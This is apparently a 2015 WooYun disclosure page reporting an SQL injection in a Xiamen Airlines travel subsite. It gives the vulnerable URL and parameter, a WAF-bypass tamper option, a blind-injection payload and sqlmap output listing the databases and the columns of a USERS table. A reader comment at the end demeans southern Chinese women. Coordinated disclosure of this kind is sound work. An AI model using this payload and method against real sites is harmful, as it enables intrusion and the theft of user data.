当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118692

漏洞标题：厦门航空某分站SQL注入

相关厂商：xiamenair.com

漏洞作者： 路人甲

提交时间：2015-06-06 21:35

修复时间：2015-07-24 12:48

公开时间：2015-07-24 12:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-06： 细节已通知厂商并且等待厂商处理中
2015-06-09： 厂商已经确认，细节仅向厂商公开
2015-06-19： 细节向核心白帽子及相关领域专家公开
2015-06-29： 细节向普通白帽子公开
2015-07-09： 细节向实习白帽子公开
2015-07-24： 细节向公众公开

简要描述：

RT

详细说明：

sql注入一枚

http://travel.xiamenair.com/Travel/Domestic.html?start=%7Cundefined&end=%25u53A6%25u95E8%7CXMN


end参数存在sql注入
sqlmap跑下
由于有F5的waf，所以需要加--tamper=greatest.py (作用：绕过过滤’>’ ,用GREATEST替换大于号)

1.jpg


sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
current user:    'XMAIR'
current schema (equivalent to database on Oracle):    'XMAIR'
current user is DBA:    False
available databases [4]:
[*] SYS
[*] SYSTEM
[*] XHSHOPADM
[*] XMAIR
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
Database: XMAIR
[1 table]
+-------+
| USERS |
+-------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Oracle
Database: XMAIR
Table: USERS
[9 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| DESCRIPTION | non-numeric |
| EMAIL       | non-numeric |
| PASSWORD    | numeric     |
| PRODUCT_ID  | numeric     |
| ROWID       | non-numeric |
| TITLE       | non-numeric |
| UID         | numeric     |
| USERID      | numeric     |
| USERNAME    | numeric     |
+-------------+-------------+


就不继续跑了，实在是有些慢。。。

漏洞证明：

1.jpg


sqlmap identified the following injection points with a total of 261 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Oracle
current user:    'XMAIR'
current schema (equivalent to database on Oracle):    'XMAIR'
current user is DBA:    False
available databases [4]:
[*] SYS
[*] SYSTEM
[*] XHSHOPADM
[*] XMAIR
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Oracle
Database: XMAIR
[1 table]
+-------+
| USERS |
+-------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: end (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: start=|undefined&end=%u53A6%u95E8|XMN' AND 5242=5242 AND 'dwgq'='dwgq
    Vector: AND [INFERENCE]
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Oracle
Database: XMAIR
Table: USERS
[9 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| DESCRIPTION | non-numeric |
| EMAIL       | non-numeric |
| PASSWORD    | numeric     |
| PRODUCT_ID  | numeric     |
| ROWID       | non-numeric |
| TITLE       | non-numeric |
| UID         | numeric     |
| USERID      | numeric     |
| USERNAME    | numeric     |
+-------------+-------------+

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-09 08:48

厂商回复：

已确认，谢谢对厦航信息安全工作的支持

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-07 00:24 | 酷帥王子 ( 普通白帽子 | Rank:111 漏洞数:34 | 天朗日清，和风送闲，可叹那俊逸如我顾影自...)

    操前段时间去装逼刚座了厦门航空机，空姐都是南方妹子，空姐都那么丑，眼睛深陷，怎么看南方妹子不顺眼！哈哈，南方妹子别来骂啊！